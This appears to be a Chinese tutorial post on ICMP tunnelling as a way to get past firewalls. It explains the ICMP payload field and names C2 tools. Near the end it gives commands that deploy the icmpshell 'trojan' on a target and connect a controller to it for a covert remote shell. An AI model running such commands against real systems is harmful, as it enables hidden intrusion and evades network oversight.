1ICMP:
原理 - 绕过WAF(多数防火墙未对ICMP流量做限制)
工具相关 PiX-C2、icmpsh、Nishang结合icmpsh 、ptunnel 、icmpshell
一、技术实现原理:
IP协议并不是一个可靠的协议,它不保证数据被送达,那么,自然的,保证数据送达的工作应该由其他的模块来完成。其中一个重要的模块就是ICMP(网络控制报文)协议。
ICMP数据包由8bit的错误类型和8bit的代码和16bit的校验和组成。而前 16bit就组成了ICMP所要传递的信息。
如下是icmp的结构图,
image.png
请求端的 Ping 工具通常会在 ICMP 数据包后面附加上一段随机的数据作为 Payload,而响应端则会拷贝这段 Payload 到 ICMP 响应数据包中返还给请求端,用于识别和匹配 Ping 请求(Windows 和 Linux 系统下的Ping 工具默认的 Payload 长度为 64bit,但实际上协议允许附加最大 64K 大小的Payload)。
image.png最后一个 Payload 字段是可以存放任何数据的,长度的话 理论上 ICMP 包外的 IP 包长度不超过 MTU 即可,但是实际上传不了那么大。
icmp本身比较简单,有一个字节的类型和一个字节的代码和两个字节的校验码,其他为数据部分,icmp携带的数据部分默认是32字节。而且携带的数据在windows中永远是:abcdefghijklmnopqrstuvwabcdefghi
image.png
看了icmp协议的结构,你是不是在想,data数据的内容能否换成我自己想传输的数据呢?这就是icmp隧道的精髓了,icmp隧道就是要替换掉data部分数据。
那我们能否改变这些data填充我们自己的数据呢? 答案是当然是可以的!
在icmp data中的数据进行更改后,目标设备能否解析内容呢,这就需要工具代替系统自身模块了。
一个隧道工具,允许您通过可靠的 TCP 隧道连接一个远程主机,并使用 ICMP 回送请求和应答包,俗称 ping 请求和回复。
木马控制:
编译icmpshell,编译成功后会生成两个可执行文件,ish是控制端,ishd是木马端
icmpsh
icmptunnel
cd icmpshell
make linux
首先,在目标机器MidLAMP上执行木马端:
-i 指定木马端端口
-t 指定icmp类型
-p 指定单包大小
./ishd -i 443 -t 0 -p 1024 &
然后,再回到本地机器lnmp01上执行控制端进行连接,程序有值得改进的地方,如,设置连接密码:
./ish -i 443 -t 0 -p 1024 192.168.3.19
工具 Dnscat2
网友评论